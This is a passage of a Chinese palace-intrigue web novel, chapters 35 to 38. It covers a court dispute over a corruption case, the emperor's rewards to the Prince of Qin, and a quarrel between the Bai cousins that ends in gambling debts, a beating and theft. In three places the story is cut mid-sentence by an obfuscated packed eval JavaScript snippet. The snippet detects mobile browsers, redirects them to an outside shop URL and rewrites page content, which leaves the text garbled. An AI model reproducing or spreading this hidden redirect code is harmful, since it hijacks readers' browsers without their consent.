赵渊身体前倾,单手撑膝,眼睛微微低垂,虽然已掩去了大部分情绪,却仍能从他起伏的胸口,看出他此时正强忍怒气。 楚王赵奕见状,手持象笏,对着御榻优雅一揖,声音温润清朗,却字字如刀:“父皇,四哥与周尚书所言,虽重,却也不无道理。然,此事之害,尤在人心。太子殿下乃国之储君,万民瞻仰,如今却与此等巨贪之臣牵扯不清,致使朝野非议,民心浮动。长此以往,恐损我皇室清誉,动摇国本。儿臣以为,此事当以雷霆之势严惩,给天下人一个交代,方能彰显父皇大公无私之圣明。” 吏部尚书张济紧随其后,补充道:“陛下,楚王殿下所言甚是。吏部选官,首重德行。若储君身边近臣皆是此等货色,天下士子将如何看待朝廷?吏治之败,往往始于中枢。为今之计,唯有严惩郭亮,并彻查其全部党羽,将其连根拔起,方能肃清朝野,以正视听!” 赵奕一派不提杀戮,却句句指向太子的“德行有亏”,直指其“不配为储”,比赵辰的直接喊杀更为诛心。 两派皇子轮番发难,如两面巨巨网,将太子一党死死罩住。 侍中魏伦见状,厉声道:“陛下!晋王殿下、楚王殿下句句不离太子,其意昭然若揭!郭亮有罪,自有国法裁处!然二位殿下借题发挥,名为声讨罪臣,实为攻讦储君!此等行径,与党同伐异何异?长此以往,朝堂将再无宁日,国本动摇,皆由此始啊!” “魏伦!你休要在此混淆视听!”周奎怒喝道:“我等就事论事,何来攻讦!” 张济也转向魏伦道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852394|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那陈侍中不妨说说,郭亮贪墨的巨额官帑,最终流向了何处?太子殿下当真能毫不知情,一清二白吗?” 魏伦被怼的哑口,“你……你们……” 殿上顿时乱作一团,攻讦者、辩护者、哭诉者,声浪滔天。 “肃静!” 赵渊一声爆喝,瞬间压下了所有的嘈杂。 他站起身,来回在御台前走动,冷冷地扫过阶下神态各异的儿子、臣子们,难掩失望之色。 目光所及,众人皆低着头颅,不敢抬眼直视龙颜。 赵渊眼睛微微闪动,突然声音柔和的道:“玄儿。” 赵玄出列,“儿臣在。” 赵渊道:“此事,你怎么看?” 赵玄躬身一揖道:“回父皇,儿臣以为,郭常侍之罪,证据确凿,国法难容。然太子殿下……”他顿了顿,目光转向跪在地上的赵钰,继续道:“儿臣在朔津查案之时,大哥身在清平郡,仍不忘国事,曾数次命白詹事修书与儿臣,商讨治水方略,于新政推行,亦有功劳。” 此言一出,满殿皆惊! 太子赵钰猛地抬起头,眼中满是错愕与不解。他从未授意白逸襄与赵玄联络,赵玄为何要在此刻帮他?但他再蠢也知道,此刻绝不能戳穿,只能顺着杆子往上爬。 晋王赵辰则是双目圆睁,一脸的难以置信。 而楚王赵奕那双含笑眼也微微眯起,闪过一丝精光,显然也没料到赵玄会行此一步。 “白詹事?”赵渊的眉毛几不可见地挑了一下,目光如电,射向了文官队列的末尾。 一时间,所有人的视线都聚焦到了那个角落里,一直默然不语的青年官员身上。殿上响起了窃窃的议论声。 “白逸襄何在?”皇帝的声音再次响起。 白逸襄自队列中走出,步履沉稳,来到殿中,长揖及地。 “微臣白逸襄,参见陛下。” “秦王所言,可属实?” “回陛下,确有此事。”白逸襄缓缓起身,声音清朗,不卑不亢,“太子殿下身在下游,心系上游灾情。臣奉殿下之命,确曾数次与秦王殿下书信往来,探讨‘以工代赈’之可行性。朔津新政之所以能迅速推行,亦有赖于太子殿下在后方协调青州各郡府予以支持。秦王殿下在朔津行雷霆手段,整肃吏治;太子殿下在清平郡安抚民心,筹措粮草。两位殿下兄弟同心,方有今日之功。” 御榻上的赵渊,静静地听完。他缓缓地靠回凭几,那双锐利的眼睛微微闭上,修长的手指,开始无意识地、有节奏地敲击着凭几扶手。 “笃……笃……笃……” 整个大殿,再次陷入了那令人心悸的沉寂。 不知过了多久,那敲击声戛然而止。 赵渊睁开眼,些许皱纹的脸上,是一片如释重负后的疲惫。 他看了看太子,“太子,此事果真如玄儿和白逸襄所说?” 赵钰连连点头,“正是如此,正是如此啊!” 赵渊道:“那郭亮之事,也是属实?” 赵钰愣了一下,接着咬了咬牙,“属实!” 36.第 36 章 “好!”赵渊隐约呼出一口气,大声道:“传朕旨意!” 中常侍靳忠立刻上前,高声应诺。 “散骑常侍郭亮,辜负圣恩,贪赃枉法,着即刻革职抄家,发配岭南瘴疠之地,终身不得回京!” “此次黄河贪墨案所涉官员,皆尽依大靖律论处,此事由林肃亲自督办!” “太子赵钰,身为储君,识人不明,监督不力,致使国贼当道,罪无可恕!然,念其此次治水有功,功过相抵,着罚奉一年,禁足东宫三月!” 赵渊此话一出,百官皆惊。 “陛下!万万不可啊!” “父皇!请父皇收回成命!不严惩郭亮怎安众人之心?” 几位臣子与四皇子赵辰,同时发声。 张济也想加入反对阵营,却见赵奕给他使了个眼色,便没有开口,赵奕一党其他成员亦再未有任何动作。 然而,皇帝接下来的话,却让整个大殿的空气更加凝固。 “太子禁足期间,朝中政务,暂由——秦王赵玄,监国处置。” 秦王监国!? 太子党众人面如死灰,晋王赵辰的眼中闪过一丝嫉妒与不甘,而楚王赵奕,则依旧是那副温润的模样,只是捏着象笏的手指,微微收紧。 唯有秦王赵玄,依旧神色淡定。他上前一步,再次躬身。 “儿臣领旨!” 赵渊的目光所及,每个人细微的表情和动作,尽收眼底。他似乎很满意所有人的反应,神态放松地坐回龙塌,淡然道:“黄河一案,有功之臣,亦当封赏。彭坚忠勇,赐爵关内侯;公输越、沈酌二人,虽为白身,然于社稷有大功,特授‘将作监丞’与‘度支曹主簿’之职,以彰其能。其余有功人等,由秦王与吏部、兵部议定,一并上奏。” * 天子诏书已下,任凭闲杂人等再心有不甘,也无转圜余地。 太和殿外,退朝的钟声余音未散,百官自殿门鱼贯而出,汇成一股沉默的洪流。方才殿上那场惊心动魄的对决,余威尚在,每个人的脸上都带着复杂难明的神情。有人如释重负,有人心有余悸,更多的,则是对“秦王监国”这四个字背后所卷起的滔天暗流,感到了深深的嫉妒与不安。 晋王赵辰大步流星地走在最前列,他那张英武的面庞因压抑着怒火而涨得通红,双拳在宽大的袖袍下攥得咯咯作响。兵部尚书周奎与羽林卫中郎将陈烈紧随其后,眼神示意周围的官员稍稍拉开距离。 赵辰终于按捺不住,“岂有此理!如此大罪,仅仅只是罚跪禁足?父皇也太偏袒老大了!” 周奎低声道:“陛下此举,方显帝王心术啊。” 赵辰不解的看向周奎,周奎的脸上不见半分波澜,那双深陷的眼窝里闪烁着老辣的光芒:“殿下,您想,如今北境胡人蠢蠢欲动,江南民怨未平,国库又因治河而空虚,正乃内忧外患之际。此时若因郭亮一案废黜太子,朝中必起大乱……陛下这是以‘稳’为先,既敲打了太子,又保住了国本。” 一直沉默的陈烈此时也开了口道:“周尚书所言极是。辰儿,你以后要多跟尚书大人多学习学习啊。” 赵辰点点头,张济此时用眼神示意了一下二人, 二人侧头望去,只见楚王赵奕正手持象笏,已然走到他们身边。赵奕神色安然随意,仿佛方才殿上那场风暴与他毫无干系。 赵奕从赵辰身边走过,目不斜视,甚至连一个点头的礼节都未曾给予。只是在与赵辰擦肩而过的瞬间,他嘴角微微上扬,从鼻腔里发出了一声极轻、却又清晰可闻的冷笑。 “哼!”赵辰也对着赵奕的背影重重地哼了一声,“不过一个只会摇唇鼓舌的酸腐文人!除了在朝堂上耍些嘴皮子功夫,还能有何用处!” 赵辰话音刚落,另一道身影也从他身边经过。 看到来人,赵辰脸上的怒容瞬间收敛了许多,却也并不热络。 “二哥。”赵辰略显生硬地拱了拱手。 赵玄同样平静地拱手还礼:“四弟。” 两人相□□头示意,再无多言半句。赵玄便转身,继续沿着宫道,向远处行去。他的背影孤直而冷峻,很快便消失在了宫墙的尽头。 这短暂而沉默的交汇,却比方才赵奕的挑衅更让赵辰感到压抑。 周奎看着赵玄背影,叹了一声:“殿下,楚王不过是仗着几分文采,哗众取宠罢了。我们眼下,当思量如何应对秦王监国之局才是。” 陈烈微微眯眼,也道:“正是,谁能想到,我们在朝堂的这番你争我夺,最后竟是一向不显山不露水的老二,成了最大的赢家。” 赵辰道:“这次算他运气好。” 周奎搓了搓胡须,“好运未必常伴,就怕他是早有预谋。” 陈烈道:“老二能有这般本事?” 周奎道:“你们不要忘了,那个麒麟儿。” 陈烈道:“白逸襄不是太子的人吗?” 周奎摇摇头,“我总感觉没那么简单,你们可不要忘了,之前白家大郎大闹清音阁之事,可是与二殿下有很深瓜葛的。” 陈烈道:“可那事,不是白逸襄得罪了老二吗?” 周奎道:“正因如此,我们此番在朝堂上,才不会怀疑白逸襄与赵玄合起伙来保全太子啊!” 陈烈眯起眼:“你是说……赵玄其实是太子的人?” 周奎皱了皱眉,“那倒不是……” 陈烈不耐烦了,“那你到底是什么意思?” 周奎摇摇头,“我暂时,也看不懂。” 赵辰被两人的话题绕的头大,摆了摆手,“算了,管他呢,我观那白逸襄,不过是个只会舞文弄墨的白面书生,而且,还六根不全,能掀起多大风浪?太子党此次受到了重创,不就是铁证?我看你们过去把白逸襄太过夸大,还让我上门去拜访,想来,我那些礼物没送出去,也是对的!” 周奎叹了口气道:“重要的,从来都不是白逸襄本人,而是白家的门楣啊……” 陈烈看了看周奎,尴尬一笑,“辰儿是武将,无暇关心这些俗事也是正常,如今边关吃紧,正是辰儿大展拳脚的时候,接下来,还要仰仗周尚书在朝中斡旋,助其夺得储位。” “定远侯哪里话说,晋王殿下英武过人,有太祖之资,太子之位舍他其谁?我定当竭尽所能。” 陈烈满意的点点头,接着他拍了拍赵辰的肩膀,笑道:“辰儿放心,太子下次,可没那么好的运气了。” 赵辰蔑然一笑,“那是自然。” 周奎却道:“太子虽失德于前,但陛下对其仍寄予希望,此次并未废储,便能看出一二,我们不能掉以轻心啊。” 陈烈与赵辰都对此深以为然,三人一边低声谈话,一边走出了宫门。 * 白府,书房。 黄河贪墨案暂时尘埃落定,太子被罚,秦王监国,朝堂之上暗流汹涌,总算给了他这个小小的东宫詹事一段难得的喘息之机。他打算趁此机会,将与温家的婚事彻底了断。 他已拟好了一封言辞恳切的书信,准备约温晴岚私下会面,当面将话说清,全了双方的体面。正待润色,下人却送来了一封温府的书信。 信封中不是书信,而是一封讣告,温晴岚的祖父,于三日前在金陵祖宅病故。温家上下已于昨日启程,扶灵回乡奔丧。 白逸襄拿着那封素白的讣告,久久无言。他缓缓将那封写好的约见信稿,揉成一团。 遭逢此等大丧,对方正是悲痛欲绝之时,若再提退婚,无异于在人伤口撒盐。 他重新铺开一张素笺,提笔蘸墨,笔锋在纸上悬了半晌,终是落下。信中,他对温老爷子的过世表达了沉痛的哀悼,并恳切地安慰温晴嵐节哀顺变,保重身体。检查了两遍,礼数周全,他将信笺仔细封入信封,在封面写下“金陵温府,晴岚亲启”几个字,而后扬声唤道:“来人,将此信送往驿站,加急送出。” 家丁地接过信,转身走到门廊,刚好撞到白岳枫,白岳枫被撞了个趔趄,刚要动怒,却见到新上“晴岚亲启”四个字,火气更胜。 白岳枫斜倚在门框上,一身华服因凌乱而显得愈发轻浮。 他哼笑道:“真是情深意重,感天动地。不知这信中,可有清音阁‘玉芙蓉’那般的风情?能让我这俗人也开开眼界么?” 白逸襄对家丁道:“去吧。” 家丁如蒙大赦,躬身快步退下。 “岳枫,”白逸襄这才淡淡的看了白岳枫一眼,“温家有丧,我写的是吊唁信。你若无事,便回房歇着,莫在此处胡言。” “吊唁?谁死了?” “晴岚的祖父。” 晴岚……叫的可真亲切。 白岳枫抿了抿嘴,虽觉得此时说这番话不太合适,但又压不下心火,必要一吐为快。 “我胡言?”白岳枫晃晃悠悠,踱步而入,围着白逸襄的书案转了一圈,最后停在他面前,嘲讽道:“堂兄,这满京城的人,到底是谁在胡言?是那些茶楼酒肆的说书先生,还是那些把你‘冲冠一怒为玉郎’的韵事编成小曲儿的歌姬?” “世人皆称堂兄为‘麒麟儿’,品性高洁,不染凡尘。可谁曾想,这麒麟竟也动了凡心,还是……好男风的凡心?啧啧,为了个戏子,大闹清音阁,冲撞秦王殿下,还被人传言逼得那‘玉芙蓉’悬梁自尽。堂兄,你这番‘壮举’,可是让我白家的门楣,在整个京城都‘大放异彩’啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857191|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他每说一句,白逸襄的脸色便似乎更白一分,可那双凤眼里,却始终平静如一潭深水,不起半点涟漪。 就在白岳枫以为白逸襄要开始反击之时,白逸襄竟然提笔蘸墨,开始画起画来。 白岳枫瞪大眼睛,对方这副态度,让他心中的邪火烧得更旺。他最恨的就是这个!无论自己如何挑衅,如何羞辱,白逸襄永远是这副云淡风轻、掌控一切的姿态! 不,那是一种轻视,把他当做气体,连分辨的话都懒得说,仿佛多说一句都脏了他的嘴似的。 “怎么不说话?”白岳枫上前一步,鼻子几乎快要抵到白逸襄的脸上,“你以为你不说话,这事就过去了?你以为你还是那个高高在上的白家大少爷?我告诉你,现在外面的人都说你是个放浪形骸、不知廉耻的断袖!你与温晴岚已有婚约,如今却又为了个男人闹得满城风雨,你不觉得恶心吗?!” 他终于将压在心底最深处的那份怨毒吼了出来:“凭什么?!凭什么我跟着父亲流放北地,九死一生,回来后只能寄人篱下!而你,顶着个‘麒麟儿’的名头,做的尽是些龌龊事,却依旧有大伯护着,依旧能给温晴嵐写信!你告诉我,凭什么!” 白逸襄的手突然顿住,书房内,空气仿佛凝固。 原来是这样…… 白逸襄终于明白,白岳枫一直看自己不顺眼的原因了,皆因前世此时他已与温晴岚结为夫妇,并没机会得知白岳枫的心意。 白岳枫莫不是……喜欢温晴岚? 那么他一直针对自己,又多了一个合理的理由。 但不管出于哪种理由,这小子说话都太过腌臜,该教训教训了! 面对白岳枫歇斯底里的质问,白逸襄终于有了动作。他将手中的狼毫笔,轻轻搁在了笔洗之中,清水将笔尖的残墨一点点晕开。 做完这一切,他才抬起眼,第一次真正地、不带任何遮掩地,直视着白岳枫的眼睛。 “说完了?” 白逸襄的声音很轻,却让白岳枫本能的后退了一步。 他心中升起不详的预感,连酒都瞬间醒了七八分。 接着他看到白逸襄嘴唇翕动,“岳枫,你说了这么多,无非是在怨三件事。” “第一,怨伯父当年之过,累你受苦。可伯父之罪,非你之过,然亦非我之功。你将这份怨气撒在我身上,是为不智。” “第二,怨我名声大过你,得温家青睐。可我之名,是寒窗十数载,一字一句读出来的;温家婚约,是我与晴岚自幼的情分。你若有才,大可凭诗文夺她倾心;你若有情,更该以君子之风相待。如今这般背后非议,是为不义。” 白逸襄向前迈出一步,尽管身形清瘦,气势却无比迫人。白岳枫竟又随着他后退了一步。 “至于第三……你怨自己寄人篱下,活得不如意。可你回府至今,父亲何曾短你吃穿?我何曾吝啬笔墨?你怨天,怨地,怨我,怨父亲,可曾怨过你自己?” “你将大好光阴,尽数虚掷于酒肆马场,与那帮狐朋狗友鬼混;将满腹才学,皆用在了搬弄是非、攻讦兄长的口舌之快上。你以为你的不幸,是旁人加诸于你,殊不知,你脚下的路,每一步,都是你自己选的。” “你……”白岳枫被他这番话堵得脸色一阵青一阵白,浑身发抖,却一个字也反驳不出来。因为白逸襄的每一句话,都该死地刺中了他心中最虚弱、最不愿承认的脓疮。 白逸襄见目的达到,便不再看他,转身对刚办事回来的石头道:“石头,将堂少爷‘请’出去。告诉厨房,今日堂少爷怕是没什么胃口,晚膳不必备他的了。” 说罢,他重新坐回案前,拿起一卷书,仿佛方才那场激烈的交锋从未发生过。 白岳枫被壮硕的石头半推半就地“请”出了书房,他站在庭院中,看着那扇重新合上的房门,只觉得浑身的血液都在倒流。羞辱、愤怒、不甘……所有的情绪交织在一起,最终化作一股毁灭一切的冲动。 他没有回自己的院子,而是像一头被激怒的困兽,双目赤红地冲出了白府。 石头一步一回头的回到书房,道:“公子,堂少爷跑出去了,要不要俺去追他回来?” “不必了,”白逸襄叹道:“这是他的必修之课。” “堂少爷好像很生气,他会不会做什么对公子不利的事啊?” “若真是如此,那便是他的劫数……” 石头莫名其妙的挠了挠脑袋,“俺不管,反正他要是敢动公子,俺也不管他是谁……” 白逸襄看向石头,微微一笑,安抚道:“没事,他不会把我怎么样的,你在府中,切莫对他无礼,知道吗?” 石头嘟囔道:“哦……知道了。” 37.第 37 章 紫微宫偏殿,仁合殿内,中书监苏休、中书令贾纪、以及几位中书舍人应召入宫议事,早已在此等候多时。众人依品阶分坐于两侧的席上,垂首屏息,静待天子垂问。 赵渊于主位落座,缓缓道:“黄河一案,诸卿都已知晓。今日召尔等前来,便是议一议,秦王此番功绩,当如何封赏,方合规制。” 中书监苏休闻言,自席上微微前倾,拱手道:“启奏陛下。秦王殿下此行朔津,平水患、安流民、肃吏治、震士族,桩桩件件,皆是匡扶社稷之大功。其功之高,远非寻常封赏可彰。” 一旁的中书令贾纪亦附和道:“苏监所言极是。尤其殿下呈上的《灾民善后六条》,思虑周详,仁心可见,实乃万民之福。此等功绩,当重赏,以励皇室宗亲,以安天下之心。” 赵渊不置可否,目光转向其他人,“你们也说说。” 几位中书舍人你一言我一语,将赵玄的功绩又从不同角度分说了一遍,无外乎是些增食邑、赐金帛之类的常例。 赵渊静静地听着,直到殿内再次安静下来,他才缓缓开口,声音里听不出一丝情绪:“食邑金帛,不过是身外之物,不足以彰其功。朕意,当予秦王委以重任,为朕分忧……” 此言一出,苏休与贾纪面上皆是凛然之色。 赵渊的目光在殿内诸官缓缓逡巡,最后定格在苏休身上:“苏卿,依你看,该当如何?” 苏休沉吟片刻,谨慎地答道:“陛下,秦王殿下如今已暂代监国之职。若要再委以重任,臣以为……可加‘录尚书事’之衔,使其名正言顺地总领尚书台政务,辅佐陛下,总理万机。” “录尚书事……”赵渊轻轻咀嚼着这四个字,点了点头,似乎颇为满意。他又看向贾纪,“贾卿呢?” 贾纪心思电转,立刻明白了皇帝的心意,顺势补充道:“陛下圣明。然,殿下既总领百官,身边不可无得力臂助。臣以为,可特许秦王‘开府’,自辟僚属。如此,方能广纳贤才,为国效力。” “开府……” 他沉默了良久,整个偏殿只听得见烛火燃烧的“噼啪”声。 一直躬身侍立在皇帝身侧的中常侍靳忠,眼帘低垂,仿佛一尊没有情绪的木雕。然而,当他听到“录尚书事”与“开府”这两个词时,内心早已波涛汹涌。 他比殿内任何人都清楚这两个词背后所蕴含的滔天权势。录尚书事,是入主中枢,执掌国柄;开府建牙,是自组班底,培植亲信! 这两项恩赏,对秦王来说,乃如虎添翼啊! 储位岂不危矣!? “便依二位爱卿所言。”赵渊终于打破了沉寂,一锤定音,“加秦王赵玄‘录尚书事’之衔,特许开府,仪同三司。另,增食邑三千户。” 他转向苏休,道:“苏卿,你去拟召吧,拟完呈与朕看。” “臣……遵旨。”苏休与众臣皆伏身领命。 * 是夜,苏府书斋。 苏休褪去朝服,只着一身素色深衣,用侍从奉上的铜盆净手。他的长子,身为中书舍人的苏哲,侍立一旁,为父亲续上热茶。 “父亲,”苏哲见父亲久久不语,忍不住开口问道:“今日陛下对秦王的封赏,是否……太过隆重了?” 苏休摇了摇头,声音低沉,“何止是隆重,天子这道诏书,恐有其他深意。” “陛下何意?” 苏休捋了捋胡须,“储位恐要易主了……” 苏哲面露不解:“就算易主,那晋王殿下军功赫赫,楚王殿下士林归心,皆根基颇深。秦王不过是办成了一桩差事,陛下为何会……” “你只看到了‘录尚书事’的权,却没看懂‘开府’的意啊。”苏休终于抬起头,那双浑浊却精明的眼睛里,闪烁着洞悉一切的光芒。 “开府,意味着什么?意味着陛下亲手给了秦王一把钥匙,一把可以打开天下人才宝库的钥匙。从此,他便可以名正言顺地招揽幕僚,组建自己的班底。这,正是他此前最欠缺的东西。” 苏休站起身,在书斋中缓缓踱步,剖析着如今的局势: “你看当今三位有力争储的皇子。晋王赵辰,勇冠三军,手握兵权,然其性情刚愎,身边多是些赳赳武夫,有爪牙而少心腹智囊,此为其短。” “楚王赵奕,温文尔雅,得天下文士之心,朝中清流皆以其为首。然其手中无一兵一卒,亦无尺寸之功,有羽翼而无利刃,此亦为其短。” “而秦王赵玄,此人有勇有谋,既有领兵平定匪乱在前,因军功立为秦王,今在朔津立威,又有善后六条彰显其文治。此前,他唯一的短板,便是在朝中孤身一人,毫无根基。可如今,陛下亲许其开府,便是要为他补上这块短板。一个没有了短板的秦王……你觉得,未来会是何等威风?” 苏哲听得冷汗涔涔,他这才明白,这看似寻常的封赏背后,竟藏着如此玄机。 “那……父亲,”苏哲的声音有些干涩,“吾家日后,该当何去何从?” 苏休停下脚步,转身看着自己的儿子,眼中闪过一丝决绝。 “明日,你便携上重礼,去参拜秦王。” “父亲的意思是……” “你去,请愿为其僚属,入他府中效力。”苏休的声音斩钉截铁,“我苏家,要第一个向他表明心迹!” 苏哲心头巨震,他看着父亲那不容置疑的眼神,许久,才深深地躬身一揖。 “孩儿……遵命。” * 白岳枫与白逸襄赌气,从白府跑出后,胸中的屈辱与怒火无处发泄,便一头扎进了京城最喧闹的酒馆。 他坐在大堂里,一壶接一壶地灌着烈酒。 却是酒入愁肠,愁更愁。 温晴岚的冷漠,白逸襄的得意,自己寄人篱下的窘迫,一幕幕在眼前交织,让他只想沉醉在这片刻的麻痹之中。 酒过三巡,他已是酩酊大醉,脚步虚浮地被人半推半就地带进了隔壁的赌场。 在震耳欲聋的骰子声和叫嚷声中,他掏出身上所有的银子,一把拍在赌桌上,红着眼睛嘶吼着:“押大!全押大!” 起初几把,他鸿运当头,赢了不少。赌博胜利带来的短暂快感让他彻底放飞自我,开始毫无顾忌地豪赌。 然而,运气终究有用完的时候。很快,他赢来的钱输了回去,接着是自己的本钱,然后是身上所有值钱的配饰。输红了眼的他,开始向赌场借高利贷,一次又一次地妄图翻本,却一次又一次地跌入更深的深渊。 …… 次日清晨,天光微亮。 一阵刺骨的寒意让白岳枫从混沌中惊醒。他发现自己正躺在冰冷的石板路上,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864611|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上只剩下一条贴身的亵裤。 他迷迷糊糊地坐起,环顾四周。眼前高大的门楣,威严的石狮,门匾上龙飞凤舞的两个大字——“白府”。 这两个字让他瞬间清醒,他再次低头检视自己,发现自己裸-露的胸口上,墨汁淋漓地贴着一张纸条,上面写着几个狰狞的大字:“欠债一万五千钱,限三日还清,否则断手断脚!” 此时,早起的行人和小贩已经开始在街上走动。 一道道惊诧、鄙夷、嘲笑的目光,让他羞耻难当,恨不得地上能裂开一条缝让他钻进去。 他连滚带爬地冲向大门,用尽全身力气拍打着门板。 开门的家丁看到他的模样,吓得险些叫出声来。 白岳枫衣不蔽体、狼狈不堪地被带进府中时,管家白福早已闻讯赶来。他看着白岳枫这副样子,气得浑身发抖,却还是先命人取来衣物让他穿上。 白岳枫求白福不要将此事告知白敬德,可这么大的事,就算白福不说,也迟早会传进白敬德耳中。 果然没多会,白敬德便已冲进了白岳枫的房中,命人将他架了出去。 白府祠堂内,香烟缭绕,气氛庄严肃穆。 白敬德一身素色长袍,负手立于堂中,面色铁青。他昨夜刚从沧州赶回,本想与儿子好好叙话,谁知一大早便听闻此等丑事。 当他看到白岳枫低着头走进来时,那双深邃的眼眸中瞬间燃起了滔天怒火。 “孽障!” 一声爆喝,如平地惊雷。 白敬德转身,从供桌上拿起一根手臂粗细的紫檀木家法棍,指着白岳枫的鼻子,气得嘴唇都在哆嗦。 “跪下!在你父亲的牌位前,给我跪下!” 白岳枫双腿一软,“扑通”一声跪倒在冰冷的地面上,正对着供桌上那个刻着“白敬轩之灵位”的牌子。 “你看看你!你看看你现在这副模样!”白敬德厉声申斥,“酗酒、豪赌、欠下倍称之息,还被人扒光了丢在家门口!我白家的脸,你父亲的脸,都被你这个不肖子给丢尽了!” 他举起家法棍,朝着白岳枫的后背狠狠抽了下去! “啪!” 沉闷的击打声在空旷的祠堂里回响,白岳枫疼得闷哼一声,身体剧烈地颤抖了一下。 “这一鞭,是打你不知廉耻,败坏门风!” “啪!” “这一鞭,是打你不思进取,辜负了你父亲的在天之灵!” “啪!” “这一鞭,是打你不知感恩,将我白家的养育之恩视若无物!” 一连十数鞭下去,白岳枫的后背已是皮开肉绽,冷汗浸透了刚换上的衣衫。他咬紧牙关,一声不吭。 白敬德打得气喘吁吁,终是停了手。他将家法棍重重地掷在地上,眼中满是痛心与失望。 “从今日起,断了你所有的月钱!你给我待在祠堂里,把白氏家规抄写一百遍!什么时候想明白了,什么时候再出来!” 说罢,他看也不看跪在地上的白岳枫,猛地一甩袖袍,大步流星地离开了祠堂,只留下一个冰冷而决绝的背影。 祠堂的门被重重关上,隔绝了内外。白岳枫跪在父亲的灵位前,背上的剧痛与心中的屈辱交织在一起,他终于忍不住,将头深深地埋在臂弯里,发出了压抑而绝望的呜咽。 38.第 38 章 白福在处理完白敬德安排的事宜,来到白逸襄的书房禀报了今天发生的事情。 白逸襄听罢,叹道:“发生这么大的事,你怎么不先告诉我一声?” 白福苦笑,“我本事想先禀报郎君的,可谁知,老爷来的那么快……我、我无有机会啊。” 白逸襄道:“福伯,我没有责怪你的意思,只是……经此一事,我怕岳枫他,非但不会悔改,反而做出更出格的事。” 白福不解的问:“这次被老爷打那么惨,他还敢吗?” 他敢,他胆子可大着呢。 自己死后可是见证了白岳枫作死的一生呢。 虽然他重生后导致白岳枫的人生轨迹会发生一些变化,但白岳枫的性格却早已定型,日后他做出什么,自己都不会太过惊讶。 不过,他们毕竟是堂兄弟,打断骨头连着筋,小时候也曾与他有一段美好的童年时光,若不是他离京发配过了一番苦难生活,回来后自己疏于对他的教导和关怀,说不定,他也不会变成今天这般不堪。 如果有可能,他自然是希望白岳枫能有个好的前程,不要迷了心智,走错了路。 白逸襄收敛起纷乱的思绪,“你让厨房准备一些清淡的汤羹,晚上我去看看他,还有,去把张太医请来,帮他瞧瞧伤势。” “老爷已经请大夫看过了,只是些皮外伤,我已经吩咐人给他用药汁清创了。” “那就好。” 傍晚,白逸襄带着厨房准备好的汤羹去看望白岳枫,亲自喂他服下,白岳枫态度谦卑,出奇的配合,甚至还开口认错。 兄弟二人难得的相安无事的畅谈到深夜,待照顾白岳枫睡下,白逸襄才转身离开。 白福陪着白逸襄走在月下,轻声道:“郎君,看来这一次,岳枫少爷真的知错了。” 白逸襄点点头,“但愿如此……对了,福伯,你安排两个身手好的护院,这几天轮班盯着岳枫,记住,尤其是夜里,更要盯紧。” 白福不解,“这……郎君这是为何啊?” 白逸襄道:“福伯不必多问,我自有计较。” 白福道:“好,我这就去安排。” …… 是夜,三更鼓响,万籁俱寂。 一道黑影,借着廊柱的阴影,潜入了白府的库房。 白岳枫径直走向一排不起眼的紫檀木多宝阁。 他从阁中取出一只前朝的青釉贯耳瓶,又从一个锦盒中拿走一方雕着螭龙的和宝玉镇纸,最后,还顺手了将墙角一幅古画。 这些东西,皆是白敬德的私藏,平日里只当寻常摆设,极少有人留意,价值却远胜库中那些官窑俗物。 他将三件古玩用黑布仔细包裹,再次避开巡夜的家丁,从后院那棵歪脖子老槐树下的狗洞里,钻了出去。 他一路狂奔,来到了太子府邸。 与门口侍卫交涉了一会,将怀中的宝贝尽数送与侍卫,那侍卫犹豫了片刻,才答应通报。 半个时辰后,白岳枫被领进了一间偏殿。 殿内陈设依旧华贵,却透着一股死气沉沉的压抑。太子赵钰一身常服,正独自一人对着一局残棋枯坐,身形看着竟有几分萧索。 “草民白岳枫,参见太子殿下!” 白岳枫一进殿,便“扑通”一声跪倒在地,不等太子开口,便声泪俱下地哭诉起来。 “殿下!您要为草民做主啊!” 赵钰缓缓抬起头,看着眼前这个衣衫不整、脸上还带着伤痕的白家二郎,眼中闪过一丝不解:“你这是何意?” 白岳枫道:“殿下明鉴!草民因对殿下忠心耿耿,被我那大伯和堂兄,施以家法,严酷打压!还求殿下为草民做主。” “哦?”赵钰挑了挑眉头,属实没想到会听到这样一番言论。他连忙起身走到白岳枫身边,用手指着他,“讲,继续讲。” 